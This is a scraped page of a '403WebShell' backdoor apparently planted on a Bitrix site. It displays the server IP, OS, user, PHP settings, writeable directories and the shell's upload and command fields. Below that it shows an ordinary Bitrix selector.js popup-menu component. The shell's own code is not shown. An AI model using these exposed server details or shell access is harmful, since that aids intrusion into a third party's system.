%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.128.200.140
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/entity-editor/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/entity-editor/js/selector.js
BX.namespace("BX.UI");

if(typeof(BX.UI.SelectorMenuItem) === "undefined")
{
	BX.UI.SelectorMenuItem = function()
	{
		this._parent = null;
		this._settings = {};
		this._emitter = null;
	};
	BX.UI.SelectorMenuItem.prototype =
	{
		initialize: function(settings)
		{
			this._settings = settings;
			this._emitter = new BX.Event.EventEmitter();
			this._emitter.setEventNamespace('BX.UI.SelectorMenuItem');

			var listener = BX.prop.getFunction(BX.prop.getObject(this._settings, "events", {}), "select", null);
			if(listener)
			{
				this.addOnSelectListener(listener);
			}
		},
		getValue: function()
		{
			return BX.prop.getString(this._settings, "value", "");
		},
		getText: function()
		{
			var text = BX.prop.getString(this._settings, "text", "");
			return BX.type.isNotEmptyString(text) ? text : this.getValue();
		},
		isEnabled: function()
		{
			return BX.prop.getBoolean(this._settings, "enabled", true);
		},
		isDefault: function()
		{
			return BX.prop.getBoolean(this._settings, "default", false);
		},
		createMenuItem: function(encode)
		{
			if(BX.prop.getBoolean(this._settings, "delimiter", false))
			{
				return { delimiter: true };
			}

			encode = !!encode;
			var text = this.getText();
			if(!!encode)
			{
				text = BX.util.htmlspecialchars(text);
			}

			return(
				{
					text: text,
					onclick: function(){
						this._emitter.emit("select", { item: this });
					}.bind(this),
					className: BX.prop.getString(this._settings, "className", "")
				}
			);
		},
		addOnSelectListener: function(listener)
		{
			this._emitter.subscribe("select", listener);
		},
		removeOnSelectListener: function(listener)
		{
			this._emitter.unsubscribe("select", listener);
		}
	};
	BX.UI.SelectorMenuItem.create = function(settings)
	{
		var self = new BX.UI.SelectorMenuItem();
		self.initialize(settings);
		return self;
	};
}

if(typeof(BX.UI.SelectorMenu) === "undefined")
{
	BX.UI.SelectorMenu = function()
	{
		this._id = "";
		this._settings = {};
		this._items = [];
		this._encodeItems = true;
		this._emitter = null;
		this._popup = null;
		this._isOpened = false;
		this._itemSelectHandler = BX.delegate(this.onItemSelect, this);
	};
	BX.UI.SelectorMenu.prototype =
	{
		initialize: function(id, settings)
		{
			this._id = BX.type.isNotEmptyString(id) ? id : ("ui_selector_menu_" + Math.random().toString().substring(2));
			this._settings = settings ? settings : {};

			this._encodeItems = !!this.getSetting("encodeItems", true);
			var itemData = this.getSetting("items");
			itemData = BX.type.isArray(itemData) ? itemData : [];
			this._items = [];
			for(var i = 0; i < itemData.length; i++)
			{
				var item = BX.UI.SelectorMenuItem.create(itemData[i]);
				item.addOnSelectListener(this._itemSelectHandler);
				this._items.push(item);
			}

			this._emitter = new BX.Event.EventEmitter();
			this._emitter.setEventNamespace('BX.UI.SelectorMenu');
		},
		getId: function()
		{
			return this._id;
		},
		getSetting: function (name, defaultval)
		{
			return this._settings.hasOwnProperty(name) ? this._settings[name] : defaultval;
		},
		getItems: function()
		{
			return this._items;
		},
		setupItems: function(data)
		{
			this._items = [];
			for(var i = 0; i < data.length; i++)
			{
				var item = BX.UI.SelectorMenuItem.create(data[i]);
				item.addOnSelectListener(this._itemSelectHandler);
				this._items.push(item);
			}
		},
		isOpened: function()
		{
			return this._isOpened;
		},
		open: function(anchor)
		{
			if(this._isOpened)
			{
				return;
			}

			var menuItems = [];
			for(var i = 0; i < this._items.length; i++)
			{
				var item = this._items[i];
				if(item.isEnabled())
				{
					menuItems.push(item.createMenuItem(this._encodeItems));
				}
			}

			BX.PopupMenu.show(
				this._id,
				anchor,
				menuItems,
				{
					closeByEsc: true,
					offsetTop: 0,
					offsetLeft: 0,
					events:
						{
							onPopupShow: BX.delegate(this.onPopupShow, this),
							onPopupClose: BX.delegate(this.onPopupClose, this),
							onPopupDestroy: BX.delegate(this.onPopupDestroy, this)
						}
				}
			);
			this._popup = BX.PopupMenu.currentItem;
		},
		close: function()
		{
			if (this._popup && this._popup.popupWindow)
			{
				this._popup.popupWindow.close();
			}
		},
		addOnSelectListener: function(listener)
		{
			this._emitter.subscribe("select", listener);
		},
		removeOnSelectListener: function(listener)
		{
			this._emitter.unsubscribe("select", listener);
		},
		onItemSelect: function(event)
		{
			this.close();
			this._emitter.emit("select", { menu: this, item: event.data["item"] });
		},
		onPopupShow: function()
		{
			this._isOpened = true;
		},
		onPopupClose: function()
		{
			if(this._popup)
			{
				if(this._popup.popupWindow)
				{
					this._popup.popupWindow.destroy();
				}
			}
		},
		onPopupDestroy: function()
		{
			this._isOpened = false;
			this._popup = null;

			if(typeof(BX.PopupMenu.Data[this._id]) !== "undefined")
			{
				delete(BX.PopupMenu.Data[this._id]);
			}
		}
	};
	BX.UI.SelectorMenu.create = function(id, settings)
	{
		var self = new BX.UI.SelectorMenu();
		self.initialize(id, settings);
		return self;
	};
}

Youez - 2016 - github.com/yon3zu
LinuXploit